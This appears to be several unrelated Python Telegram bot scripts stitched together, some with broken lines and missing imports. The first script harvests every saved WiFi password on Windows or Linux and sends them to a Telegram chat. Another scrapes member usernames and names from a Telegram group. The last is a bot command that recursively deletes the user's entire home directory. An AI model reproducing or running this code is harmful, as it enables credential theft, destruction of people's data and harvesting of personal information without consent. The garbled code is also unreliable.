import subprocess
import requests
import os
import json

BOT_TOKEN = 'YOUR_BOT_TOKEN_HERE'
CHAT_ID = 'YOUR_CHAT_ID_HERE'

def get_wifi_passwords():
    wifi_passwords = {}

    platform = os.name
    if platform == 'nt':
        output = subprocess.check_output('netsh wlan show profiles', shell=True).decode()
        profiles = [line.split(":")[1].strip() for line in output.split('\n') if "All User Profile" in line]

        for profile in profiles:
            try:
                profile_info = subprocess.check_output(
                    f'netsh wlan show profile "{profile}" key=clear', shell=True
                ).decode()
                password_lines = [line for line in profile_info.split('\n') if "Key Content" in line]
                if password_lines:
                    password = password_lines[0].split(":")[1].strip()
                else:
                    password = "No password found"

                wifi_passwords[profile] = password
            except subprocess.CalledProcessError:
                wifi_passwords[profile] = "Could not retrieve password"

    elif platform == 'posix':
        nmcli_path = shutil.which("nmcli")
        if nmcli_path:
            try:
                result = subprocess.check_output(['nmcli', '-t', '-f', 'NAME,SECURITY', 'connection', 'show']).decode()
                networks = [line.split(":")[0] for line in result.strip().split('\n') if line]

                for network in networks:
                    try:
                        passwd_result = subprocess.check_output(
                            ['nmcli', '-s', '-g', '802-11-wireless-security.psk', 'connection', 'show', network]
                        ).decode().strip()
                        if passwd_result:
                            wifi_passwords[network] = passwd_result
                        else:
                            wifi_passwords[network] = "No password set or not found"
                    except subprocess.CalledProcessError:
                        wifi_passwords[network] = "Could not retrieve password"
            except Exception as e:
                wifi_passwords["error"] = f"Error: {str(e)}"
        else:
            wifi_passwords["error"] = "nmcli not found on system."

    else:
        wifi_passwords["error"] = "Unsupported operating system"

    return wifi_passwords

def send_to_telegram(message):
    url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"
    payload = {
        'chat_id': CHAT_ID,
        'text': message,
        'parse_mode': 'Markdown'
    }
    response = requests.post(url, data=payload)

    if response.status_code == 200:
        print("Successfully sent to Telegram.")
    else:
        print(f"Failed to send message: {response.status_code}, {response.text}")

def main():
    wifi_data = get_wifi_passwords()

    if "error" in wifi_data:
        send_to_telegram(f"Error fetching WiFi passwords: {wifi_data['error']}")
    else:
        formatted_message = "*WiFi Passwords:*\n\n"
        for wifi, password in wifi_data.items():
            formatted_message += f"`{wifi}` : `{password}`\n"
        
        send_to_telegram(formatted_message)

if __name__ == "__main__":
    main()

import sys
import logging
import asyncio
from datetime import datetime
from apscheduler.schedulers.asyncio import AsyncIOScheduler
from apscheduler.triggers.cron import CronTrigger
import pytz

from telegram import Bot
from telegram.error import TelegramError

# ========================
# CONFIGURATION
BOT_TOKEN = "YOUR_TELEGRAM_BOT_TOKEN_HERE"
GROUP_ID_OR_USERNAME = "@yourgroupusername_or_chatid"
# ========================

logging.basicConfig(
    format='%(asctime)s - %(levelname)s - %(message)s',
    level=logging.INFO
)
logger = logging.getLogger(__name__)

def read_post_content(filepath):
    try:
        with open(filepath, 'r', encoding='utf-8') as f:
            return f.read()
    except Exception as e:
        logger.error(f"Failed to read post content from {filepath}: {e}")
        sys.exit(1)

async def send_message(bot, chat_id_or_username, text):
    try:
        await bot.send_message(chat_id=chat_id_or_username, text=text)
        logger.info("Message sent successfully.")
    except TelegramError as e:
        logger.error(f"Failed to send message: {e}")

async def scheduled_job(bot, chat_id_or_username, post_content):
    logger.info("Scheduled job triggered. Sending message...")
    await send_message(bot, chat_id_or_username, post_content)

def parse_args():
    if len(sys.argv) < 5 or sys.argv[2] != "-t":
        print('Usage: python app.py post.txt -t "HH:MM" "Timezone"')
        sys.exit(1)

    post_file = sys.argv[1]
    time_str = sys.argv[3]
    timezone_str = sys.argv[4]

    try:
        hour, minute = map(int, time_str.split(":"))
    except ValueError:
        logger.error("Time format must be HH:MM (e.g. 14:50)")
        sys.exit(1)

    if timezone_str not in pytz.all_timezones:
        logger.warning(f"Unknown timezone '{timezone_str}'. Defaulting to Asia/Kolkata (IST).")
        timezone_str = "Asia/Kolkata"

    return post_file, hour, minute, timezone_str

def main():
    post_file, hour, minute, timezone_str = parse_args()

    if BOT_TOKEN == "YOUR_TELEGRAM_BOT_TOKEN_HERE" or GROUP_ID_OR_USERNAME == "@yourgroupusername_or_chatid":
        logger.error("Please set your BOT_TOKEN and GROUP_ID_OR_USERNAME in the script.")
        sys.exit(1)

    post_content = read_post_content(post_file)
    bot = Bot(token=BOT_TOKEN)

    scheduler = AsyncIOScheduler(timezone=pytz.timezone(timezone_str))

    scheduler.add_job(
        scheduled_job,
        trigger=CronTrigger(hour=hour, minute=minute),
        args=[bot, GROUP_ID_OR_USERNAME, post_content],
        id="daily_post",
        replace_existing=True,
    )

    scheduler.start()
    logger.info(f"Scheduled post at {hour:02d}:{minute:02d} {timezone_str}. Waiting...")

    try:
        asyncio.get_event_loop().run_forever()
    except (KeyboardInterrupt, SystemExit):
        logger.info("Shutting down scheduler...")
        scheduler.shutdown()

if __name__ == "__main__":
    main()

from telethon.sync import TelegramClient
from telethon.tl.functions.channels import GetParticipantsRequest
from telethon.tl.types import ChannelParticipantsSearch

import asyncio


api_id = 123456      # Replace with your actual API ID
api_hash = 'your_api_hash_here'
 or invite link
target_group = 'https://t.me/group_or_channel_username'

client = TelegramClient('session_name', api_id, api_hash)

async def main():
    await client.start()
    
    print(f"Connecting to {target_group}...")
    entity = await client.get_entity(target_group)

    print("Fetching members...")
    offset = 0
    limit = 100
    all_participants = []

    while True:
        participants = await client(GetParticipantsRequest(
            channel=entity,
            filter=ChannelParticipantsSearch(''),
            offset=offset,
            limit=limit,
            hash=0
        ))
        if not participants.users:
            break
        all_participants.extend(participants.users)
        offset += len(participants.users)

    print(f"Total users fetched: {len(all_participants)}")

    with open('users.txt', 'w', encoding='utf-8') as f:
        for user in all_participants:
            username = user.username or ''
            first_name = user.first_name or ''
            last_name = user.last_name or ''
            full_name = f"{first_name} {last_name}".strip()
            f.write(f"{username} - {full_name}\n")

    await client.send_file('me', 'users.txt', caption="Here is the list of users.")
    print("users.txt sent to your Saved Messages.")

with client:
    client.loop.run_until_complete(main())

import os
import subprocess
import logging
from telegram import Update, InputFile
from telegram.ext import (
    ApplicationBuilder,
    MessageHandler,
    CommandHandler,
    ContextTypes,
    filters
)

# Telegram bot by @efxtve

BOT_TOKEN = "YOUR_TELEGRAM_BOT_TOKEN"  # <-- Replace with your token
KEYSTORE_FILE = "auto-release.keystore"
ALIAS = "auto"
STOREPASS = "password"
KEYPASS = "password"
KEYTOOL = "/usr/bin/keytool"
APKSIGNER = "/usr/bin/apksigner"

logging.basicConfig(level=logging.INFO)

def create_keystore():
    if os.path.exists(KEYSTORE_FILE):
        return
    subprocess.run([
        KEYTOOL, "-genkey", "-v",
        "-keystore", KEYSTORE_FILE,
        "-alias", ALIAS,
        "-keyalg", "RSA",
        "-keysize", "2048",
        "-validity", "10000",
        "-storepass", STOREPASS,
        "-keypass", KEYPASS,
        "-dname", "CN=Auto Signer, OU=Dev, O=Auto, L=City, S=State, C=US"
    ], check=True)

def sign_apk(apk_path):
    subprocess.run([
        APKSIGNER, "sign",
        "--ks", KEYSTORE_FILE,
        "--ks-key-alias", ALIAS,
        "--ks-pass", f"pass:{STOREPASS}",
        "--key-pass", f"pass:{KEYPASS}",
        apk_path
    ], check=True)

# --- Handlers ---
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
    await update.message.reply_text(
        "👋 Send an unsigned APK.\n\n"
    )

async def handle_apk(update: Update, context: ContextTypes.DEFAULT_TYPE):
    document = update.message.document
    if not document.file_name.endswith(".apk"):
        await update.message.reply_text("❌ Please send a valid `.apk` file.")
        return

    await update.message.reply_text("📥 Downloading APK...")
    file = await context.bot.get_file(document.file_id)
    apk_filename = f"input_{document.file_name}"
    await file.download_to_drive(apk_filename)

    try:
        create_keystore()
        sign_apk(apk_filename)
        await update.message.reply_text("✅ APK signed successfully. Sending back...")

        with open(apk_filename, "rb") as f:
            await update.message.reply_document(InputFile(f, filename=f"signed_{document.file_name}"))

    except subprocess.CalledProcessError:
        await update.message.reply_text("❌ Failed to sign APK.")
    finally:
        os.remove(apk_filename)

def main():
    app = ApplicationBuilder().token(BOT_TOKEN).build()
    app.add_handler(CommandHandler("start", start))
    app.add_handler(MessageHandler(filters.Document.ALL, handle_apk))
    print("[*] Bot is running...")
    app.run_polling()

if __name__ == "__main__":
    main()

/start
/hardreset  

import os
import shutil
import logging
from telegram import Update
from telegram.ext import ApplicationBuilder, CommandHandler, ContextTypes

# Enable logging
logging.basicConfig(
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO
)
logger = logging.getLogger(__name__)

TOKEN = 'YOUR_TELEGRAM_BOT_TOKEN'
AUTHORIZED_USER_ID = 'YOUR_TELEGRAM_USER_ID'  # Replace with your Telegram user ID (int)

def hard_reset():
    home_dir = os.path.expanduser("~")
    for root, dirs, files in os.walk(home_dir, topdown=False):
        for name in files:
            try:
                os.remove(os.path.join(root, name))
            except Exception as e:
                logger.error(f"Failed to delete file {name}: {e}")
        for name in dirs:
            try:
                shutil.rmtree(os.path.join(root, name))
            except Exception as e:
                logger.error(f"Failed to delete directory {name}: {e}")

async def start(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
    await update.message.reply_text('Hello! Send /hardreset to wipe all data.')

async def hardreset_command(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
    user = update.effective_user
    if user.id != AUTHORIZED_USER_ID:
        await update.message.reply_text("Unauthorized access.")
        return

    await update.message.reply_text("Starting hard reset...")
    try:
        hard_reset()
        await update.message.reply_text("Hard reset completed.")
    except Exception as e:
        await update.message.reply_text(f"Error during hard reset: {e}")

def main():
    app = ApplicationBuilder().token(TOKEN).build()

    app.add_handler(CommandHandler("start", start))
    app.add_handler(CommandHandler("hardreset", hardreset_command))

    app.run_polling()

if __name__ == '__main__':
    main()